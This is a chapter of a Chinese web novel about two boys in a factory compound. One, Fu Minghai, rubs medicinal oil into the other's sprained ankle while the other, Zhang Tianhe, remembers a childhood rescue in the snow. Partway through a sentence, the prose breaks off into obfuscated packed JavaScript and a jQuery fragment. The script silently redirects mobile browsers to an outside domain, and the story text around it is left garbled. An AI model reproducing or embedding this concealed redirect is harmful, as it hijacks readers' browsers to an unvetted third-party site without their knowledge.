厂家属院的夜晚总是来得很早，大概是各家各户的大人们都要上早班的缘故，不到九点，灯火就陆续熄灭了，只剩下零星几扇窗户还亮着。窗户后面的人影晃一晃就没了，窗帘拉上，整个院子沉进黑暗里。
张天河盘着腿坐在床上研究那瓶红花油，他翻来覆去的看，深褐色的玻璃瓶，看着上面的生产日期，保质期三年，跟家里放了不知道几百年的那种不一样。还有他不懂为什么什么药上面的字儿都那么小，他得凑多近才能看清楚。什么“活血化瘀”、“舒筋通络”……他看了两行就烦了。
张天河把裤脚撩上去，看着脚踝处，不知道是不是心理作用，好像已经没那么肿了。付明海说一天两次，他就非得那么听他的话吗？
张天河拧开红花油心想，他又想起下午付明海帮他上药的场景，付明海蹲在他面前，低着头，只能看见他垂下的眼睫和抿着的嘴唇，手指沾着药油，在他脚踝上慢慢揉搓的样子。
想想就别扭极了，抹药这种事儿他自己也能行，付明海干什么要多此一举，显得他很关心自己似的。
还有，为什么他就记得那么清楚，怎么都忘不了？像印在脑子里似的，这一幕给他的冲击感有那么大吗？
张天河越想越烦躁，他三下五除二的将红花油往手上滴了几滴，随便抹了两下，就搁在一旁了，随便它怎么样吧，就是惯的，不管它的话说不定过一会儿就好了。
他往后一仰，倒在硬邦邦的床板上，睁着眼睛看天花板，枕头下面放着的有前阵子没看完的武侠小说，他看了个开头，不想再看了。
读书这玩意，不管读的是什么，对张天河来说都是件难事。他好像就不能端端正正、稳稳当当的坐着看几十分钟的书，就跟有那什么多动症似的。当然张天河不懂什么叫多动症，他就是觉得闷，觉得烦。
门咔嚓一声被推开，张天河原本以为是周锦芳，他依旧维持着原来的姿势，仰躺着，一条腿曲着，一条腿伸直，眼睛盯着天花板，直到发现有什么地方不对劲。
往门口瞥了一眼，张天河瞬间像被电了一下似的，从床上弹起来，他看着付明海，这人似乎是刚洗漱完，穿着件白色的短袖，下身是一条深蓝色的运动长裤，裤脚有些短，露出清瘦的脚踝。头发还有点湿，有几根发丝正在往下滴水。
这季节穿短袖一点不合适，付明海他不冷吗？张天河的第一想法是这个。
“你你你来干什么？”张天河问，他确实有点疑惑，他没跟付明海熟到这个地步，更何况，想到自己随便抹了点药的脚，他莫名的有点心虚，悄悄地把脚往一旁放了放。
“药不是这样抹的。”付明海往前走了几步，他的目光落在床头柜上，那瓶红花油的盖子还没拧紧，瓶身歪着，旁边还洒了几滴深褐色的油渍。
张天河有一种被抓包的即视感，他梗着脖子，不看付明海，“我知道，我就是没想好好抹……谁让你进来了？”
话一出口他就后悔了。这叫什么话？幼稚得像个小学生，明明到最后不好受罪的是他，但他非得呛一嘴。
“那你打算什么时候好，挑个你喜欢的时间？”付明海一句话便把张天河要说的所有话堵了回去。
按照张天河这个搞头，别说几天了，下辈子他的脚估计还这样，那一秒两秒的，早就被他蹭掉了，根本没有效果。
没等张天河回答，他像下午在教室那样，对着张天河蹲下。
他就那么蹲在床边，一条腿曲着，一条腿跪在地上，白短袖的袖子卷到胳膊肘。
张天河怔怔地看着这一幕，他莫名的有点想向付明海解释，实际上他也确实解释了，嘴硬着说：“你是不是觉得我特别傻，我不傻。”
他解释的有点苍白，很苍白。他不想自己在付明海的眼里是个这也不会、那也不会的傻小子。倒不是说他想在他心里留下个多么好的印象，他估计早就在付明海的心里留下了一个很差的印象了吧？坏、脾气差、事儿逼一个，可张天河不想再添份傻上去。
付明海手上的动作没有停，他自顾自的说，“五分钟，你自己记着点，时间不够药效进不去，时间太长，皮肤会受不了。”
“哦……”张天河此时倒没有什么被无视的气愤，乖乖的答应了。这一次，他倒也没什么别扭的抗拒了，他就那么坐着，任由付明海帮他。
房间又安静下来，只有两个人轻微的呼吸声，和药油揉开时细微的摩擦声。昏黄的灯光洒在两个人的身上，在地上投出两个靠的很近的影子。
张天河用余光偷偷地瞥了一眼。
付明海低着头，额间的碎发垂下来，遮住了一点眉眼，侧脸的线条在灯光的映照下显得比平时柔和些。鼻梁挺直，专注的神情里透着一股少年人特有的、干净的认真。
张天河突然想到周锦芳当初说过的话，想起她说的那个雪夜。
他还是想不起来那个瞬间，因为距离今天的张天河实在是太遥远，遥远得像上辈子的事。没有人会记得自己四岁的时候发生的事情，他当然也不例外。雪、医院、谁抱着他跑，全是空的，什么都翻不出来。
他注意到付明海的手，想起周锦芳说“他的手现在还会起冻疮”，这句话和眼前这个少年的手联结起来，让张天河心头某个地方微微地颤了一下。
他的手那么白皙，骨节分明的，但是仔细看小指和无名指的指关节都有些微微泛红、开裂，和他的手真不搭。上面被红花油沾染成黄色，那黄色渗进伤口里，一时半会儿洗不掉，裂开的地方沾上药油会不会疼？就像在伤口上撒盐那样，张天河不清楚。
他还是无法将眼前的这个沉默的、疏离的人和孩童时期自己喜欢的哥哥联系在一起，更何况他究竟喜不喜欢也是听周锦芳描述的，他自己毫无印象。
也许九九年的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742774|209137||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个冬天，真的有一个七岁的男孩，穿着单薄的秋衣，抱着一个裹在棉袄里的小孩，在雪地里深一脚浅一脚地跑。
雪很大，大到看不清路，他就凭着记忆往医院的方向跑。那个小孩一直哭，他就一直哄，用自己的脸贴着那个小孩的脸，说“不哭，马上就到了”。
也许那个男孩真的在后来很多年的冬天，手上都会裂开一道道口子，又疼又痒。每次裂开的时候，他会不会想起那个雪夜？会不会想起那个他抱着跑了两条街的小孩？
也许他曾经真的跟在付明海身后用稚嫩的嗓音喊他“哥哥”；也许他曾经真的被付明海抱在怀里过，在那个男孩单薄的胸膛里，听着他砰砰的心跳；也许他曾经真的看见过付明海笑，是对他的，眉眼弯弯的那种笑……
也许也许……但这些都无从考证了。
从他喊出那句“他不是我哥”的那一刻，从他扎破那辆自行车轮胎的那一刻，从他一次次用那些混账、刻薄话对待付明海的那一刻，那些也许称得上温馨的记忆，哪怕曾经真的存在过，也已经不复存在了。
它们沉在一条名为岁月的河里，捞不起来了。
张天河的喉咙哽了哽，他盯着付明海的手，那些细小的裂口，渐渐有药油渗进去，裂口边缘泛着红，像刚裂开不久，又像裂开很久了一直没好。
一股莫名的情绪涌上来，堵在胸口，又酸又涩。
于是他脱口而出，声音有些哑，“你手上的冻疮……好点没。”
话音刚落，付明海猛地抬眼，那双总是平静无波的眼睛里，第一次清晰地闪过了一丝什么，是惊讶吗？是愕然吗？还是什么？
随后那目光又落到了他自己的指关节处，看了两三秒，付明海站起身，没有回答这个问题，音调依旧平平的，“明天，如果还是肿，记得再揉一次。”
他没有停留，甚至没再看张天河一眼，转身往外走。
一种冲动毫无预兆地冲上来，压过了所有的别扭、尴尬和不知所措。
“付……你为什么这么对我？”张天河冲着他的背影喊。
你为什么对我这么好？张天河想说的是这个。
因为什么？对一个人好，总得需要个什么理由吧？不可能平白无故的，我就要背你走上好几公里的路、我就要不厌其烦的帮你上药、我就要在你说了那么多混账话之后还蹲在这儿。
这一切总得有个理由吧？
付明海的手停在门把上。
他没有回头，也没有回答。几秒后门被轻轻地拉开，冷风从门缝里钻进来，带着北方特有的、干燥的寒意。
脚踝处还残留着药油温热的感觉，和付明海手指按压的触感。空气里红花油的味道依然浓烈，混着付明海身上带来的、很淡的肥皂味。
问题悬在空中，没有得到回答。
就像很多别的事情一样，悬在那里，没有答案。